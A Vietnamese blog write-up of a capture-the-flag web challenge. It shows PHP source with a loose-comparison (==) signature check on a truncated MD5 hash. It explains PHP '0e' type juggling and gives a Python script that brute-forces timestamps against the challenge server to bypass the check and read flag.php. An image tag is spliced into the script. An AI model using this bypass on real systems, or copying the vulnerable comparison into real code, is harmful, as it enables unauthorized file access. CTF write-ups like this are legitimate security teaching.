Write up SVATTT – web150 – readfie

Link ở đây!
Bài này đề cho source code, bug xuất hiện rất rõ ràng, quan trọng là làm sao để khai thác được thôi 🙂

<?php
    function checksig($filename, $timestamp, $sig, $secretkey)
    {
        $realsig = substr(md5($filename.$timestamp.$secretkey),0,16);
        if ($sig == $realsig)
        {
            $filename = './'.str_replace('/','',$filename);
            readfile($filename);
            die(0);
        }
        echo "Invalid Signature!";
    }

$secretkey = "XXXXXXXXXXXXXXXXXXXXXXXXX";//This is not real $secretkey, ignore it !!!
echo "<html>
    <title>Web100</title>
    <body>
    
Dare to read flag.php???
    <a href='web100.php?filename=test.php&timestamp=13371337&sig=d7a52c3ed325ef19'>Click me</a>
    </body>";
if (isset($_GET['filename'])&&isset($_GET['sig'])&&isset($_GET['timestamp']))
    {
        checksig($_GET['filename'],$_GET['timestamp'],$_GET['sig'], $secretkey);
        die(0);
    }
echo "Something's missing!!";
echo "</html>";
?>

Thấy 2 dấu bằng chỗ này :””” if ($sig == $realsig) “”” thì mình biết chắc chắn là loose comparation – 1 tính năng khá kinh điển của php. Nếu bạn chưa biết thì hãy nhấn vào đây
Quan trọng là làm sao khai thác nó.
Nếu so sánh 2 chuỗi thì có 1 vài thứ mình cần xem xét
TRUE: “0000” == int(0)
TRUE: “0e12” == int(0)
TRUE: “1abc” == int(1)
TRUE: “0abc” == int(0)
TRUE: “abc” == int(0)
Tuy nhiên do là so sánh string nên có gì đó hơi khác vì “0abc”==”0” -> false
nhưng “0e1234″==”0” -> true
“0e1218718″==”0” -> true
……..
“0e”+chuỗi số -> true

hoặc có thể còn trường hợp nào nữa (số 1 cũng có thể) nhưng chắc chắn payload dùng số 0 rất có khả năng bypass được hàm so sánh.
lợi dụng điều này mình có thể force cho 1 đoạn string bất kỳ so sánh với “0” hoặc “1” sẽ trả về true
Mình gọi cái đống này là “so sánh noob”
OK vậy nếu cái sig check thì khá là nguy hiểm, chỉ cần đoạn substr(md5($filename.$timestamp.$secretkey),0,16) trả về 1 cái gì đó tuơng tự như các kí tự “so sánh noob” thì ta sẽ bypass được cái sig này
có 2 input nhập vào, cái thứ nhất sẽ là flag.php vì đề hint như vậy 🙂
cái thứ 2 sẽ dùng để brute sao cho cái sig của “””substr(md5($filename.$timestamp.$secretkey),0,16)””” có dạng “so sánh noob”.
mình sẽ brute bắt đầu từ 0 cho chắc ăn

import requests
for i in range(0,1000000):
		u1 = "http://readfile.svattt.org:8888/web100.php?filename=flag.php&timestamp="+str(i)+"&sig=1"
		u2 = "http://readfile.svattt.org:8888/web100.php?filename=flag.php&timestamp="+str(i)+"&sig=0"
		r1 = requests.get(u1)
		r2 = requests.get(u2)
		l1 = len(r1.text)
		l2 = len(r2.text)
		if l1!=210:<img src="https://b01701.files.wordpress.com/2016/11/1.png?w=300" alt="1" width="300" height="68" class="alignnone size-medium wp-image-145" />
			print u1
		if l2!=210:
			print u2

sau khi chạy đoạn code này xong, mình thấy nó in ra cái url này http://readfile.svattt.org:8888/web100.php?filename=flag.php&timestamp=862&sig=0
ok vào đó xem thử thì thấy thế này
1
Khá là noob vì mình không để ý đến source, phải mất hơn 1 tiếng sau mình mới nghĩ đến viewsource
2
và lấy được flag SVATTT{N0_m0r3_h4sh_3xtens10n_4tt4ck}

Advertisements

4 thoughts on “Write up SVATTT – web150 – readfie

Trả lời

Mời bạn điền thông tin vào ô dưới đây hoặc kích vào một biểu tượng để đăng nhập:

WordPress.com Logo

Bạn đang bình luận bằng tài khoản WordPress.com Đăng xuất / Thay đổi )

Twitter picture

Bạn đang bình luận bằng tài khoản Twitter Đăng xuất / Thay đổi )

Facebook photo

Bạn đang bình luận bằng tài khoản Facebook Đăng xuất / Thay đổi )

Google+ photo

Bạn đang bình luận bằng tài khoản Google+ Đăng xuất / Thay đổi )

Connecting to %s